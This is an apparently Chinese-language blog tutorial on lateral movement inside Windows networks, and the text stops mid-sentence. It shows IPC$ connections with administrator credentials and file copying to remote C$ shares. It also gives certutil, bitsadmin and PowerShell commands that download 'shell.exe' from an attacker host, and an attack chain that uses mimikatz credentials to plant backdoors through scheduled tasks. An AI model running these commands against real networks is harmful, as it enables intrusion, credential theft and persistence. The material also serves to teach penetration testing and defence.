内网渗透之横向移动基础总结(一)

2026-05-09 1 阅读 uf9n1x
这篇文章介绍内网渗透种的横向移动。 在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。 横向移动中的文件传输 通过文件共享-IPC 执行net share命令,可以获得Windows默认开启的网络共享,其中C$为C盘共享,ADMIN$为系统目录共享,还有一个IPC$共享。 IPC(Internet Process Connection)是共享”命令管道”的资源,为了让进程间通信而开放的命令管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。 实战中往往会建立IPC$连接,因为通过IPC$连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或服务等。 建立IPC$连接需要具备以下两个条件: ①远程主机开启了IPC连接 ②远程主机的139端口和445端口开放 # IPC$ 连接 net use \\ 192 .168.1.131 \i pc$ # 建立空连接 net use \\ 192 .168.1.131 \i pc$ "password" /user: "Administrator" # 建立非空连接 # IPC$ 使用 net use # 查看本机建立的连接(本机连接其他机器) net session # 查看本机建立的连接(其他机器连接的本机),需要administrator用户执行 net share # 查看本地开启的共享 net share ipc$ # 开启ipc$共享 net share ipc$ /del # 删除ipc$共享 net share admin$ /del # 删除admin$共享 net share c$ /del # 删除C盘共享 net use * /del # 删除所有连接 # IPC$ 连接建立之后的操作 dir \\ 192 .168.1.131 \c $ # 列出目标文件目录 copy C: \\ Users \A dministrator \D esktop \w hatever.exe \\ 192 .168.1.131 \c $ \a aa # 将文件复制到目标C盘aaa目录下 type \\ 192 .168.1.131 \c $ \1 .txt # 查看目标C盘下1.txt文件内容 net use h: \\ 192 .168.52.138 \c $ # 磁盘映射,将目标的 C 盘映射到本地的 H 盘 net use h: /del # 删除磁盘映射 建立 IPC 常见的错误代码 5 :拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 51 :网络问题,Windows 无法找到网络路径 53 :找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题 67 :找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$ 1219 :提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除 1326 :账号密码错误 1792 :目标 NetLogon 服务未启动,连接域控常常会出现此情况 2242 :用户密码过期,目标有账号策略,强制定期更改密码 建立 IPC 失败的原因 (1)目标系统不是 NT 或以上的操作系统 (2)对方没有打开 IPC$共享 (3)对方未开启 139、445 端口,或者被防火墙屏蔽 (4)输出命令、账号密码有错误 通过搭建SMB服务器 SMB(Server Message Block,服务器消息块),又称CIFS(Common Internet File System,网络文件共享系统),主要功能是使网络上的计算机能够共享计算机文件、打印机、串行端口和通信等资源。SMB消息一般使用NetBIOS协议或TCP发送,分别使用端口139或445,目前倾向于使用445端口。 在linux上,可以通过 https://github.com/fortra/impacket/blob/master/impacket/smbserver.py 来搭建smb服务器。 mkdir /root/smbshare python smbserver.py mysmb /root/smbshare -smb2support 通过Windows自带工具 Certutil Certutil 是Windows自带的命令行工具,用于管理Windows证书并作为证书服务器的一部分安装。Certutil提供了从网络下载文件的功能。 certutil -urlcache -split -f http :// 192 . 168 . 1 . 1 : 8000 / shell . exe c :\ users \ public \ shell . exe // 从192 . 168 . 1 . 1 : 8000下载shell . exe到本地c :\ users \ public \ 目录下 BITSAdmin BITSAdmin用于创建、下载和上传作业,监视其进度。Windows7及以后的系统自带BitsAdmin工具。 bitsadmin / transfer test http :// 192 . 168 . 1 . 1 : 8000 / 1 . txt c :\ users \ mytools \ a . txt // 创建一个名为test的bitsadmin任务 , 从192 . 168 . 1 . 1 : 8000下载1 . txt , 保存为c :\ users \ mytools \ a . txt powershell 通过创建WebClient对象来实现文件下载 ( New-Object Net . WebClient ). DownloadFile ( "http://192.168.1.1:8000/shell.exe" , "c:\users\public\shell.exe" ) powershell -c "(New-Object Net.WebClient).DownloadFile('http://192.168.1.1:8000/shell.exe','c:\users\public\shell.exe')" at & schtasks & sc横向 在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机? 使用 at&schtasks 命令,创建计划任务,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。 获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令 利用